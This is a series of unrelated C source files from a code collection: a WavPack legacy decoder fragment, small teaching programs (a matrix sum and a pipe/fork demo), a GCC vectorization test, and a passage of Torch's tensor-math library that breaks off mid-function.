wavhdr.BitsPerSample; if (wphdr.version == 1) wphdr.bits = 0; } wpc->config.sample_rate = wavhdr.SampleRate; wpc->config.num_channels = wavhdr.NumChannels; wpc->config.channel_mask = 5 - wavhdr.NumChannels; if (wphdr.flags & MONO_FLAG) wpc->config.flags |= CONFIG_MONO_FLAG; if (wphdr.flags & EXTREME_DECORR) wpc->config.flags |= CONFIG_HIGH_FLAG; if (wphdr.bits) { if (wphdr.flags & NEW_HIGH_FLAG) wpc->config.flags |= CONFIG_HYBRID_FLAG; else wpc->config.flags |= CONFIG_LOSSY_MODE; } else if (!(wphdr.flags & HIGH_FLAG)) wpc->config.flags |= CONFIG_FAST_FLAG; wpc->config.bytes_per_sample = (wphdr.flags & BYTES_3) ? 3 : 2; wpc->config.bits_per_sample = wavhdr.BitsPerSample; memcpy (&wps->wphdr, &wphdr, sizeof (wphdr)); wps->wvbits.bufsiz = wps->wvcbits.bufsiz = 1024 * 1024; return wpc; } // return currently decoded sample index uint32_t get_sample_index3 (WavpackContext *wpc) { WavpackStream3 *wps = (WavpackStream3 *) wpc->stream3; return (wps) ? wps->sample_index : (uint32_t) -1; } int get_version3 (WavpackContext *wpc) { WavpackStream3 *wps = (WavpackStream3 *) wpc->stream3; return (wps) ? wps->wphdr.version : 0; } void free_stream3 (WavpackContext *wpc) { WavpackStream3 *wps = (WavpackStream3 *) wpc->stream3; if (wps) { #ifndef NO_SEEKING if (wps->unpack_data) free (wps->unpack_data); #endif if ((wps->wphdr.flags & WVC_FLAG) && wps->wvcbits.buf) free (wps->wvcbits.buf); if (wps->wvbits.buf) free (wps->wvbits.buf); free (wps); } } #endif // ENABLE_LEGACY
the_stack_data/40763203.c
#include <stdio.h> #define N 3 int main(void) { int i, j, a[N][N], sum = 0; printf("Please enter the matrix(3x3): "); for (i = 0; i < N; i++) { for (j = 0; j < N; j++) scanf("%d", &a[i][j]); printf("%d line OK! \n", i + 1); } for (i = 0; i < N; i++) sum += a[i][i]; printf("%d \n", sum); return 0; }
the_stack_data/150143469.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main() { int processed_data; int file_pipes[2]; const char some_data[] = "123"; pid_t fork_result; if (pipe(file_pipes) == 0) { fork_result = fork(); if (fork_result == (pid_t)-1) { fprintf(stderr, "Fork failure"); return EXIT_FAILURE; } if (fork_result == (pid_t)0) { close(0); dup(file_pipes[0]); close(file_pipes[0]); close(file_pipes[1]); execlp("od", "od", "-c", (char *)0); return EXIT_FAILURE; } else { close(file_pipes[0]); processed_data = write(file_pipes[1], some_data, strlen(some_data)); close(file_pipes[1]); printf("%d - wrote %d bytes\n", (int)getpid(), processed_data); } } return 0; }
the_stack_data/173577654.c
/* { dg-do run { target { powerpc64le-*-* } } } */ /* { dg-skip-if "do not override -mcpu" { powerpc*-*-* } { "-mcpu=*" } { "-mcpu=power8" } } */ /* { dg-options "-mcpu=power8 -O3" } */ void abort (); #define N 4096 int ca[N] __attribute__((aligned(16))); int cb[N] __attribute__((aligned(16))); int cc[N] __attribute__((aligned(16))); int cd[N] __attribute__((aligned(16))); __attribute__((noinline)) void foo () { int i; for (i = 0; i < N; i++) { ca[i] = (cb[i] + cc[i]) * cd[i]; } } __attribute__((noinline)) void init () { int i; for (i = 0; i < N; ++i) { cb[i] = 3 * i - 2048; cc[i] = -5 * i + 93; cd[i] = i % 2 ? 1 : -1; } } int main () { int i; init (); foo (); for (i = 0; i < N; ++i) if (i % 2 == 1 && ca[i] != -2 * i - 1955) abort (); else if (i % 2 == 0 && ca[i] != 1955 + 2 * i) abort (); return 0; }
the_stack_data/25137095.c
int IF_ELSE_T(); int main() { return !(IF_ELSE_T() == 1999); }
the_stack_data/111078902.c
#ifndef TH_GENERIC_FILE #define TH_GENERIC_FILE "generic/THTensorMath.c" #else #ifndef NAN #define NAN (nan(NULL)) #endif #ifdef _OPENMP #include <omp.h> #endif #define TH_OMP_OVERHEAD_THRESHOLD 100000 #ifdef _OPENMP #ifndef _WIN32 #define PRAGMA(P) _Pragma(#P) #else #define PRAGMA(P) __pragma(P) #endif #define TH_TENSOR_APPLY_CONTIG(TYPE, TENSOR, CODE) \ { \ ptrdiff_t TH_TENSOR_size = THTensor_(nElement)(TENSOR); \ PRAGMA(omp parallel if (TH_TENSOR_size > TH_OMP_OVERHEAD_THRESHOLD)) \ { \ size_t num_threads = omp_get_num_threads(); \ size_t tid = omp_get_thread_num(); \ ptrdiff_t TH_TENSOR_offset = tid * (TH_TENSOR_size / num_threads); \ ptrdiff_t TH_TENSOR_end = tid == num_threads - 1 ? TH_TENSOR_size : \ TH_TENSOR_offset + TH_TENSOR_size / num_threads; \ ptrdiff_t TENSOR##_len = TH_TENSOR_end - TH_TENSOR_offset; \ TYPE *TENSOR##_data = THTensor_(data)(TENSOR) + TH_TENSOR_offset; \ CODE \ } \ } #else #define TH_TENSOR_APPLY_CONTIG(TYPE, TENSOR, CODE) \ { \ TYPE *TENSOR##_data = THTensor_(data)(TENSOR); \ ptrdiff_t TENSOR##_len = THTensor_(nElement)(TENSOR); \ CODE \ } #endif #ifdef _OPENMP #define TH_TENSOR_APPLY2_CONTIG(TYPE1, TENSOR1, TYPE2, TENSOR2, CODE) \ { \ ptrdiff_t TH_TENSOR_size = THTensor_(nElement)(TENSOR1); \ PRAGMA(omp parallel if (TH_TENSOR_size > TH_OMP_OVERHEAD_THRESHOLD)) \ { \ size_t num_threads = omp_get_num_threads(); \ size_t tid = omp_get_thread_num(); \ ptrdiff_t TH_TENSOR_offset = tid * (TH_TENSOR_size / num_threads); \ ptrdiff_t TH_TENSOR_end = tid == num_threads - 1 ? TH_TENSOR_size : \ TH_TENSOR_offset + TH_TENSOR_size / num_threads; \ ptrdiff_t TENSOR1##_len = TH_TENSOR_end - TH_TENSOR_offset; \ TYPE1 *TENSOR1##_data = THTensor_(data)(TENSOR1) + TH_TENSOR_offset; \ TYPE2 *TENSOR2##_data = THTensor_(data)(TENSOR2) + TH_TENSOR_offset; \ CODE \ } \ } #else #define TH_TENSOR_APPLY2_CONTIG(TYPE1, TENSOR1, TYPE2, TENSOR2, CODE) \ { \ TYPE1 *TENSOR1##_data = THTensor_(data)(TENSOR1); \ TYPE2 *TENSOR2##_data = THTensor_(data)(TENSOR2); \ ptrdiff_t TENSOR1##_len = THTensor_(nElement)(TENSOR1); \ CODE \ } #endif #ifdef _OPENMP #define TH_TENSOR_APPLY3_CONTIG(TYPE1, TENSOR1, TYPE2, TENSOR2, TYPE3, TENSOR3, CODE) \ { \ ptrdiff_t TH_TENSOR_size = THTensor_(nElement)(TENSOR1); \ PRAGMA(omp parallel if (TH_TENSOR_size > TH_OMP_OVERHEAD_THRESHOLD)) \ { \ size_t num_threads = omp_get_num_threads(); \ size_t tid = omp_get_thread_num(); \ ptrdiff_t TH_TENSOR_offset = tid * (TH_TENSOR_size / num_threads); \ ptrdiff_t TH_TENSOR_end = tid == num_threads - 1 ? TH_TENSOR_size : \ TH_TENSOR_offset + TH_TENSOR_size / num_threads; \ ptrdiff_t TENSOR1##_len = TH_TENSOR_end - TH_TENSOR_offset; \ TYPE1 *TENSOR1##_data = THTensor_(data)(TENSOR1) + TH_TENSOR_offset; \ TYPE2 *TENSOR2##_data = THTensor_(data)(TENSOR2) + TH_TENSOR_offset; \ TYPE3 *TENSOR3##_data = THTensor_(data)(TENSOR3) + TH_TENSOR_offset; \ CODE \ } \ } #else #define TH_TENSOR_APPLY3_CONTIG(TYPE1, TENSOR1, TYPE2, TENSOR2, TYPE3, TENSOR3, CODE) \ { \ TYPE1 *TENSOR1##_data = THTensor_(data)(TENSOR1); \ TYPE2 *TENSOR2##_data = THTensor_(data)(TENSOR2); \ TYPE3 *TENSOR3##_data = THTensor_(data)(TENSOR3); \ ptrdiff_t TENSOR1##_len = THTensor_(nElement)(TENSOR1); \ CODE \ } #endif void THTensor_(fill)(THTensor *r_, real value) { if (THTensor_(isContiguous)(r_) || THTensor_(isTransposed)(r_)) { TH_TENSOR_APPLY_CONTIG(real, r_, THVector_(fill)(r__data, value, r__len);); } else { TH_TENSOR_APPLY(real, r_, if (r__stride == 1) { THVector_(fill)(r__data, value, r__size); r__i = r__size; r__data += r__stride * r__size; break; } else { *r__data = value; } ); } } void THTensor_(zero)(THTensor *r_) { THTensor_(fill)(r_, 0); } void THTensor_(maskedFill)(THTensor *tensor, THByteTensor *mask, real value) { TH_TENSOR_APPLY2(real, tensor, unsigned char, mask, if (*mask_data > 1) { THFree(mask_counter); THFree(tensor_counter); THError("Mask tensor can take 0 and 1 values only"); } else if (*mask_data == 1) { *tensor_data = value; }); } void THTensor_(maskedCopy)(THTensor *tensor, THByteTensor *mask, THTensor* src ) { THTensor *srct = THTensor_(newContiguous)(src); real *src_data = THTensor_(data)(srct); ptrdiff_t cntr = 0; ptrdiff_t nelem = THTensor_(nElement)(srct); if (THTensor_(nElement)(tensor) != THByteTensor_nElement(mask)) { THTensor_(free)(srct); THError("Number of elements of destination tensor != Number of elements in mask"); } TH_TENSOR_APPLY2(real, tensor, unsigned char, mask, if (*mask_data > 1) { THTensor_(free)(srct); THFree(mask_counter); THFree(tensor_counter); THError("Mask tensor can take 0 and 1 values only"); } else if (*mask_data == 1) { if (cntr == nelem) { THTensor_(free)(srct); THFree(mask_counter); THFree(tensor_counter); THError("Number of elements of src < number of ones in mask"); } *tensor_data = *src_data; src_data++; cntr++; }); THTensor_(free)(srct); } void THTensor_(maskedSelect)(THTensor *tensor, THTensor *src, THByteTensor *mask) { ptrdiff_t numel = THByteTensor_sumall(mask); real *tensor_data; #ifdef DEBUG THAssert(numel <= LONG_MAX); #endif THTensor_(resize1d)(tensor,numel); tensor_data = THTensor_(data)(tensor); TH_TENSOR_APPLY2(real, src, unsigned char, mask, if (*mask_data > 1) { THFree(mask_counter); THFree(src_counter); THError("Mask tensor can take 0 and 1 values only"); } else if (*mask_data == 1) { *tensor_data = *src_data; tensor_data++; }); } // Finds non-zero elements of a tensor and returns their subscripts void THTensor_(nonzero)(THLongTensor *subscript, THTensor *tensor) { ptrdiff_t numel = 0; long *subscript_data; long i = 0; long dim; long div = 1; #ifdef TH_REAL_IS_HALF #define IS_NONZERO(val) ((val.x & 0x7fff) != 0) #else #define IS_NONZERO(val) ((val)!=0) #endif /* First Pass to determine size of subscripts */ TH_TENSOR_APPLY(real, tensor, if IS_NONZERO(*tensor_data) { ++numel; }); #ifdef DEBUG THAssert(numel <= LONG_MAX); #endif THLongTensor_resize2d(subscript, numel, tensor->nDimension); /* Second pass populates subscripts */ subscript_data = THLongTensor_data(subscript); TH_TENSOR_APPLY(real, tensor, if IS_NONZERO(*tensor_data) { div = 1; for (dim = tensor->nDimension - 1; dim >= 0; dim--) { *(subscript_data + dim) = (i/div) % tensor->size[dim]; div *= tensor->size[dim]; } subscript_data += tensor->nDimension; } ++i;); } void THTensor_(indexSelect)(THTensor *tensor, THTensor *src, int dim, THLongTensor *index) { ptrdiff_t i, numel; THLongStorage *newSize; THTensor *tSlice, *sSlice; long *index_data; real *tensor_data, *src_data; THArgCheck(index->nDimension == 1, 3, "Index is supposed to be a vector"); THArgCheck(dim < src->nDimension, 4,"Indexing dim %d is out of bounds of tensor", dim + TH_INDEX_BASE); THArgCheck(src->nDimension > 0,2,"Source tensor is empty"); numel = THLongTensor_nElement(index); newSize = THLongStorage_newWithSize(src->nDimension); THLongStorage_rawCopy(newSize,src->size); #ifdef DEBUG THAssert(numel <= LONG_MAX); #endif newSize->data[dim] = numel; THTensor_(resize)(tensor,newSize,NULL); THLongStorage_free(newSize); index = THLongTensor_newContiguous(index); index_data = THLongTensor_data(index); if (dim == 0 && THTensor_(isContiguous)(src) && THTensor_(isContiguous)(tensor)) { tensor_data = THTensor_(data)(tensor); src_data = THTensor_(data)(src); ptrdiff_t rowsize = THTensor_(nElement)(src) / src->size[0]; // check that the indices are within range long max = src->size[0] - 1 + TH_INDEX_BASE; for (i=0; i<numel; i++) { if (index_data[i] < TH_INDEX_BASE || index_data[i] > max) { THLongTensor_free(index); THError("index out of range"); } } if (src->nDimension == 1) { #pragma omp parallel for if(numel > TH_OMP_OVERHEAD_THRESHOLD) private(i) for (i=0; i<numel; i++) tensor_data[i] = src_data[index_data[i] - TH_INDEX_BASE]; } else { #pragma omp parallel for if(numel*rowsize > TH_OMP_OVERHEAD_THRESHOLD) private(i) for (i=0; i<numel; i++) memcpy(tensor_data + i*rowsize, src_data + (index_data[i] - TH_INDEX_BASE)*rowsize, rowsize*sizeof(real)); } } else if (src->nDimension == 1) { for (i=0; i<numel; i++) THTensor_(set1d)(tensor,i,THTensor_(get1d)(src,index_data[i] - TH_INDEX_BASE)); } else { for (i=0; i<numel; i++) { tSlice = THTensor_(new)(); sSlice = THTensor_(new)(); THTensor_(select)(tSlice, tensor, dim, i); THTensor_(select)(sSlice, src, dim, index_data[i] - TH_INDEX_BASE); THTensor_(copy)(tSlice, sSlice); THTensor_(free)(tSlice); THTensor_(free)(sSlice); } } THLongTensor_free(index); } void THTensor_(indexCopy)(THTensor *tensor, int dim, THLongTensor *index, THTensor *src) { ptrdiff_t i, numel; THTensor *tSlice, *sSlice; long *index_data; numel = THLongTensor_nElement(index); THArgCheck(index->nDimension == 1, 3, "Index is supposed to be a vector"); THArgCheck(dim < src->nDimension, 4, "Indexing dim %d is out of bounds of tensor", dim + TH_INDEX_BASE); THArgCheck(numel == src->size[dim],4,"Number of indices should be equal to source:size(dim)"); index = THLongTensor_newContiguous(index); index_data = THLongTensor_data(index); if (tensor->nDimension > 1 ) { tSlice = THTensor_(new)(); sSlice = THTensor_(new)(); for (i=0; i<numel; i++) { THTensor_(select)(tSlice, tensor, dim, index_data[i] - TH_INDEX_BASE); THTensor_(select)(sSlice, src, dim, i); THTensor_(copy)(tSlice, sSlice); } THTensor_(free)(tSlice); THTensor_(free)(sSlice); } else { for (i=0; i<numel; i++) { THTensor_(set1d)(tensor, index_data[i] - TH_INDEX_BASE, THTensor_(get1d)(src,i)); } } THLongTensor_free(index); } void THTensor_(indexAdd)(THTensor *tensor, int dim, THLongTensor *index, THTensor *src) { ptrdiff_t i, numel; THTensor *tSlice, *sSlice; long *index_data; numel = THLongTensor_nElement(index); THArgCheck(index->nDimension == 1, 3, "Index is supposed to be a vector"); THArgCheck(dim < src->nDimension, 4,"Indexing dim %d is out of bounds of tensor", dim + TH_INDEX_BASE); THArgCheck(numel == src->size[dim],4,"Number of indices should be equal to source:size(dim)"); index = THLongTensor_newContiguous(index); index_data = THLongTensor_data(index); if (tensor->nDimension > 1) { tSlice = THTensor_(new)(); sSlice = THTensor_(new)(); for (i=0; i<numel; i++) { THTensor_(select)(tSlice, tensor, dim, index_data[i] - TH_INDEX_BASE); THTensor_(select)(sSlice, src, dim, i); THTensor_(cadd)(tSlice, tSlice, 1.0, sSlice); } THTensor_(free)(tSlice); THTensor_(free)(sSlice); } else { for (i=0; i<numel; i++) { THTensor_(set1d)(tensor, index_data[i] - TH_INDEX_BASE, THTensor_(get1d)(src,i) + THTensor_(get1d)(tensor,index_data[i] - TH_INDEX_BASE)); } } THLongTensor_free(index); } void THTensor_(indexFill)(THTensor *tensor, int dim, THLongTensor *index, real val) { ptrdiff_t i, numel; THTensor *tSlice; long *index_data; numel = THLongTensor_nElement(index); THArgCheck(index->nDimension == 1, 3, "Index is supposed to be a vector"); THArgCheck(dim < tensor->nDimension, 4,"Indexing dim %d is out of bounds of tensor", dim + TH_INDEX_BASE); index = THLongTensor_newContiguous(index); index_data = THLongTensor_data(index); for (i=0; i<numel; i++) { if (tensor->nDimension > 1) { tSlice = THTensor_(new)(); THTensor_(select)(tSlice, tensor,dim,index_data[i] - TH_INDEX_BASE); THTensor_(fill)(tSlice, val); THTensor_(free)(tSlice); } else { THTensor_(set1d)(tensor, index_data[i] - TH_INDEX_BASE, val); } } THLongTensor_free(index); } void THTensor_(gather)(THTensor *tensor, THTensor *src, int dim, THLongTensor *index) { long elems_per_row, i, idx; THArgCheck(THTensor_(nDimension)(src) == THTensor_(nDimension)(tensor), 2, "Input tensor must have same dimensions as output tensor"); THArgCheck(dim < THTensor_(nDimension)(tensor), 3, "Index dimension is out of bounds"); THArgCheck(THLongTensor_nDimension(index) == THTensor_(nDimension)(src), 4, "Index tensor must have same dimensions as input tensor"); elems_per_row = THLongTensor_size(index, dim); TH_TENSOR_DIM_APPLY3(real, tensor, real, src, long, index, dim, for (i = 0; i < elems_per_row; ++i) { idx = *(index_data + i*index_stride); if (idx < TH_INDEX_BASE || idx >= src_size + TH_INDEX_BASE) { THFree(TH_TENSOR_DIM_APPLY_counter); THError("Invalid index in gather"); } *(tensor_data + i*tensor_stride) = src_data[(idx - TH_INDEX_BASE) * src_stride]; }) } void THTensor_(scatter)(THTensor *tensor, int dim, THLongTensor *index, THTensor *src) { long elems_per_row, i, idx; THArgCheck(dim < THTensor_(nDimension)(tensor), 2, "Index dimension is out of bounds"); THArgCheck(THLongTensor_nDimension(index) == THTensor_(nDimension)(tensor), 3, "Index tensor must have same dimensions as output tensor"); THArgCheck(THTensor_(nDimension)(src) == THTensor_(nDimension)(tensor), 4, "Input tensor must have same dimensions as output tensor"); elems_per_row = THLongTensor_size(index, dim); TH_TENSOR_DIM_APPLY3(real, tensor, real, src, long, index, dim, for (i = 0; i < elems_per_row; ++i) { idx = *(index_data + i*index_stride); if (idx < TH_INDEX_BASE || idx >= tensor_size + TH_INDEX_BASE) { THFree(TH_TENSOR_DIM_APPLY_counter); THError("Invalid index in scatter"); } tensor_data[(idx - TH_INDEX_BASE) * tensor_stride] = *(src_data + i*src_stride); }) } void THTensor_(scatterAdd)(THTensor *tensor, int dim, THLongTensor *index, THTensor *src) { long elems_per_row, i, idx; THArgCheck(dim < THTensor_(nDimension)(tensor), 2, "Index dimension is out of bounds"); THArgCheck(THLongTensor_nDimension(index) == THTensor_(nDimension)(tensor), 3, "Index tensor must have same dimensions as output tensor"); THArgCheck(THTensor_(nDimension)(src) == THTensor_(nDimension)(tensor), 4, "Input tensor must have same dimensions as output tensor"); elems_per_row = THLongTensor_size(index, dim); TH_TENSOR_DIM_APPLY3(real, tensor, real, src, long, index, dim, for (i = 0; i < elems_per_row; ++i) { idx = *(index_data + i*index_stride); if (idx < TH_INDEX_BASE || idx >= tensor_size + TH_INDEX_BASE) { THFree(TH_TENSOR_DIM_APPLY_counter); THError("Invalid index in scatterAdd"); } tensor_data[(idx - TH_INDEX_BASE) * tensor_stride] += *(src_data + i*src_stride); }) } void THTensor_(scatterFill)(THTensor *tensor, int dim, THLongTensor *index, real val) { long elems_per_row, i, idx; THArgCheck(dim < THTensor_(nDimension)(tensor), 2, "Index dimension is out of bounds"); THArgCheck(THLongTensor_nDimension(index) == THTensor_(nDimension)(tensor), 3, "Index tensor must have same dimensions as output tensor"); elems_per_row = THLongTensor_size(index, dim); TH_TENSOR_DIM_APPLY2(real, tensor, long, index, dim, for (i = 0; i < elems_per_row; ++i) { idx = *(index_data + i*index_stride); if (idx < TH_INDEX_BASE || idx >= tensor_size + TH_INDEX_BASE) { THFree(TH_TENSOR_DIM_APPLY_counter); THError("Invalid index in scatter"); } tensor_data[(idx - TH_INDEX_BASE) * tensor_stride] = val; }) } accreal THTensor_(dot)(THTensor *tensor, THTensor *src) { accreal sum = 0; /* we use a trick here. careful with that. */ TH_TENSOR_APPLY2(real, tensor, real, src, long sz = (tensor_size-tensor_i < src_size-src_i ? tensor_size-tensor_i : src_size-src_i); sum += THBlas_(dot)(sz, src_data, src_stride, tensor_data, tensor_stride); tensor_i += sz; src_i += sz; tensor_data += sz*tensor_stride; src_data += sz*src_stride; break;); return sum; } #undef th_isnan #if defined(TH_REAL_IS_FLOAT) || defined(TH_REAL_IS_DOUBLE) #define th_isnan(val) \ (isnan(val)) #else #define th_isnan(val) (0) #endif #undef th_isnan_break #if defined(TH_REAL_IS_FLOAT) || defined(TH_REAL_IS_DOUBLE) #define th_isnan_break(val) \ if (isnan(val)) break; #else #define th_isnan_break(val) #endif real THTensor_(minall)(THTensor *tensor) { real theMin; real value; THArgCheck(tensor->nDimension > 0, 1, "tensor must have one dimension"); theMin = THTensor_(data)(tensor)[0]; TH_TENSOR_APPLY(real, tensor, value = *tensor_data; /* This is not the same as value<theMin in the case of NaNs */ if(!(value >= theMin)) { theMin = value; th_isnan_break(value) }); return theMin; } real THTensor_(maxall)(THTensor *tensor) { real theMax; real value; THArgCheck(tensor->nDimension > 0, 1, "tensor must have one dimension"); theMax = THTensor_(data)(tensor)[0]; TH_TENSOR_APPLY(real, tensor, value = *tensor_data; /* This is not the same as value>theMax in the case of NaNs */ if(!(value <= theMax)) { theMax = value; th_isnan_break(value) }); return theMax; } static void THTensor_(quickselectnoidx)(real *arr, long k, long elements, long stride); real THTensor_(medianall)(THTensor *tensor) { THArgCheck(tensor->nDimension > 0, 1, "tensor must have one dimension"); real theMedian; ptrdiff_t numel; long k; THTensor *temp_; real *temp__data; numel = THTensor_(nElement)(tensor); k = (numel-1) >> 1; temp_ = THTensor_(newClone)(tensor); temp__data = THTensor_(data)(temp_); THTensor_(quickselectnoidx)(temp__data, k, numel, 1); theMedian = temp__data[k]; THTensor_(free)(temp_); return theMedian; } accreal THTensor_(sumall)(THTensor *tensor) { accreal sum = 0; TH_TENSOR_APPLY(real, tensor, sum += *tensor_data;); return sum; } accreal THTensor_(prodall)(THTensor *tensor) { accreal prod = 1; TH_TENSOR_APPLY(real, tensor, prod *= *tensor_data;); return prod; } void THTensor_(add)(THTensor *r_, THTensor *t, real value) { THTensor_(resizeAs)(r_, t); if (THTensor_(isContiguous)(r_) && THTensor_(isContiguous)(t) && THTensor_(nElement)(r_) == THTensor_(nElement)(t)) { TH_TENSOR_APPLY2_CONTIG(real, r_, real, t, THVector_(adds)(r__data, t_data, value, r__len);); } else { TH_TENSOR_APPLY2(real, r_, real, t, *r__data = *t_data + value;); } } void THTensor_(sub)(THTensor *r_, THTensor *t, real value) { THTensor_(add)(r_, t, -value); } void THTensor_(mul)(THTensor *r_, THTensor *t, real value) { THTensor_(resizeAs)(r_, t); if (THTensor_(isContiguous)(r_) && THTensor_(isContiguous)(t) && THTensor_(nElement)(r_) == THTensor_(nElement)(t)) { TH_TENSOR_APPLY2_CONTIG(real, r_, real, t, THVector_(muls)(r__data, t_data, value, r__len);); } else { TH_TENSOR_APPLY2(real, r_, real, t, *r__data = *t_data * value;); } } void THTensor_(div)(THTensor *r_, THTensor *t, real value) { THTensor_(resizeAs)(r_, t); if (THTensor_(isContiguous)(r_) && THTensor_(isContiguous)(t) && THTensor_(nElement)(r_) == THTensor_(nElement)(t)) { TH_TENSOR_APPLY2_CONTIG(real, r_, real, t, THVector_(divs)(r__data, t_data, value, r__len);); } else { TH_TENSOR_APPLY2(real, r_, real, t, *r__data = *t_data / value;); } } void THTensor_(lshift)(THTensor *r_, THTensor *t, real value) { #if defined(TH_REAL_IS_FLOAT) return THTensor_(mul)(r_, t, powf(2, value)); #elif defined(TH_REAL_IS_DOUBLE) return THTensor_(mul)(r_, t, pow(2, value)); #elif defined(TH_REAL_IS_HALF) return THError("lshift is not supported for torch.HalfTensor"); #else THTensor_(resizeAs)(r_, t); if (THTensor_(isContiguous)(r_) && THTensor_(isContiguous)(t) && THTensor_(nElement)(r_) == THTensor_(nElement)(t)) { real *tp = THTensor_(data)(t); real *rp = THTensor_(data)(r_); long sz = THTensor_(nElement)(t); long i; #pragma omp parallel for if(sz > TH_OMP_OVERHEAD_THRESHOLD * 100) private(i) for (i=0; i<sz; i++) { #if defined(TH_REAL_IS_BYTE) rp[i] = ((real) tp[i]) << value; #else rp[i] = ((unsigned real) tp[i]) << value; #endif } } else { #if defined(TH_REAL_IS_BYTE) TH_TENSOR_APPLY2(real, r_, real, t, *r__data = (((real) *t_data) << value);); #else TH_TENSOR_APPLY2(real, r_, real, t, *r__data = (((unsigned real) *t_data) << value);); #endif } #endif } void THTensor_(rshift)(THTensor *r_, THTensor *t, real value) { #if defined(TH_REAL_IS_FLOAT) return THTensor_(div)(r_, t, powf(2, value)); #elif defined(TH_REAL_IS_DOUBLE) return THTensor_(div)(r_, t, pow(2, value)); #elif defined(TH_REAL_IS_HALF) return THError("rshift is not supported for torch.HalfTensor"); #else THTensor_(resizeAs)(r_, t); if (THTensor_(isContiguous)(r_) && THTensor_(isContiguous)(t) && THTensor_(nElement)(r_) == THTensor_(nElement)(t)) { real *tp = THTensor_(data)(t); real *rp = THTensor_(data)(r_); long sz = THTensor_(nElement)(t); long i; #pragma omp parallel for if(sz > TH_OMP_OVERHEAD_THRESHOLD * 100) private(i) for (i=0; i<sz; i++) { #if defined(TH_REAL_IS_BYTE) rp[i] = ((real) tp[i]) >> value; #else rp[i] = ((unsigned real) tp[i]) >> value; #endif } } else { #if defined(TH_REAL_IS_BYTE) TH_TENSOR_APPLY2(real, r_, real, t, *r__data = (((real) *t_data) >> value);); #else TH_TENSOR_APPLY2(real, r_, real, t, *r__data = (((unsigned real) *t_data) >> value);); #endif } #endif } void THTensor_(fmod)(THTensor *r_, THTensor *t, real value) { THTensor_(resizeAs)(r_, t); if (THTensor_(isContiguous)(r_) && THTensor_(isContiguous)(t) && THTensor_(nElement)(r_) == THTensor_(nElement)(t)) { real *tp = THTensor_(data)(t); real *rp = THTensor_(data)(r_); ptrdiff_t sz = THTensor_(nElement)(t); ptrdiff_t i; #pragma omp parallel for if(sz > TH_OMP_OVERHEAD_THRESHOLD) private(i) for (i=0; i<sz; i++) { #if defined(TH_REAL_IS_FLOAT) || defined(TH_REAL_IS_DOUBLE) rp[i] = fmod(tp[i], value); #else rp[i] = tp[i] % value; #endif } } else { #if defined(TH_REAL_IS_FLOAT) || defined(TH_REAL_IS_DOUBLE) TH_TENSOR_APPLY2(real, r_, real, t, *r__data = fmod(*t_data, value);); #else TH_TENSOR_APPLY2(real, r_, real, t, *r__data = (*t_data % value);); #endif } } void THTensor_(remainder)(THTensor *r_, THTensor *t, real value) { THTensor_(resizeAs)(r_, t); if (THTensor_(isContiguous)(r_) && THTensor_(isContiguous)(t) && THTensor_(nElement)(r_) == THTensor_(nElement)(t)) { real *tp = THTensor_(data)(t); real *rp = THTensor_(data)(r_); ptrdiff_t sz = THTensor_(nElement)(t); ptrdiff_t i; #pragma omp parallel for if(sz > TH_OMP_OVERHEAD_THRESHOLD) private(i) for (i=0; i<sz; i++) { #if defined(TH_REAL_IS_FLOAT) || defined(TH_REAL_IS_DOUBLE) rp[i] = (value == 0)? NAN : tp[i] - value * floor(tp[i] / value); #else // There is no NAN for integers rp[i] = tp[i] % value; if (rp[i] * value < 0) rp[i] += value; #endif } } else { #if defined(TH_REAL_IS_FLOAT) || defined(TH_REAL_IS_DOUBLE) TH_TENSOR_APPLY2(real, r_, real, t, *r__data = (value == 0)? NAN : *t_data - value * floor(*t_data / value);); #else // There is no NAN for integers TH_TENSOR_APPLY2(real, r_, real, t, *r__data = *t_data % value; if (*r__data * value < 0) *r__data += value;); #endif } } void THTensor_(bitand)(THTensor *r_, THTensor *t, real value) { #if defined(TH_REAL_IS_FLOAT) || defined(TH_REAL_IS_DOUBLE) || defined(TH_REAL_IS_HALF) return THError("bitand is only supported for integer type tensors"); #else THTensor_(resizeAs)(r_, t); if (THTensor_(isContiguous)(r_) && THTensor_(isContiguous)(t) && THTensor_(nElement)(r_) == THTensor_(nElement)(t)) { real *tp = THTensor_(data)(t); real *rp = THTensor_(data)(r_); long sz = THTensor_(nElement)(t); long i; #pragma omp parallel for if(sz > TH_OMP_OVERHEAD_THRESHOLD * 100) private(i) for (i=0; i<sz; i++) { rp[i] = tp[i] & value; } } else { TH_TENSOR_APPLY2(real, r_, real, t, *r__data = *t_data & value;); } #endif } void THTensor_(bitor)(THTensor *r_, THTensor *t, real value) { #if defined(TH_REAL_IS_FLOAT) || defined(TH_REAL_IS_DOUBLE) || defined(TH_REAL_IS_HALF) return THError("bitor is only supported for integer type tensors"); #else THTensor_(resizeAs)(r_, t); if (THTensor_(isContiguous)(r_) && THTensor_(isContiguous)(t) && THTensor_(nElement)(r_) == THTensor_(nElement)(t)) { real *tp = THTensor_(data)(t); real *rp = THTensor_(data)(r_); long sz = THTensor_(nElement)(t); long i; #pragma omp parallel for if(sz > TH_OMP_OVERHEAD_THRESHOLD * 100) private(i) for (i=0; i<sz; i++) { rp[i] = tp[i] | value; } } else { TH_TENSOR_APPLY2(real, r_, real, t, *r__data = *t_data | value;); } #endif } void THTensor_(bitxor)(THTensor *r_, THTensor *t, real value) { #if defined(TH_REAL_IS_FLOAT) || defined(TH_REAL_IS_DOUBLE) || defined(TH_REAL_IS_HALF) return THError("bitxor is only supported for integer type tensors"); #else THTensor_(resizeAs)(r_, t); if (THTensor_(isContiguous)(r_) && THTensor_(isContiguous)(t) && THTensor_(nElement)(r_) == THTensor_(nElement)(t)) { real *tp = THTensor_(data)(t); real *rp = THTensor_(data)(r_); long sz = THTensor_(nElement)(t); long i; #pragma omp parallel for if(sz > TH_OMP_OVERHEAD_THRESHOLD * 100) private(i) for (i=0; i<sz; i++) { rp[i] = tp[i] ^ value; } } else { TH_TENSOR_APPLY2(real, r_, real, t, *r__data = *t_data ^ value;); } #endif } void THTensor_(clamp)(THTensor *r_, THTensor *t, real min_value, real max_value) { THTensor_(resizeAs)(r_, t); if (THTensor_(isContiguous)(r_) && THTensor_(isContiguous)(t) && THTensor_(nElement)(r_) == THTensor_(nElement)(t)) { real *tp = THTensor_(data)(t); real *rp = THTensor_(data)(r_); /* real t_val; */ ptrdiff_t sz = THTensor_(nElement)(t); ptrdiff_t i; #pragma omp parallel for if(sz > TH_OMP_OVERHEAD_THRESHOLD) private(i) for (i=0; i<sz; i++) rp[i] = (tp[i] < min_value) ? min_value : (tp[i] > max_value ? max_value 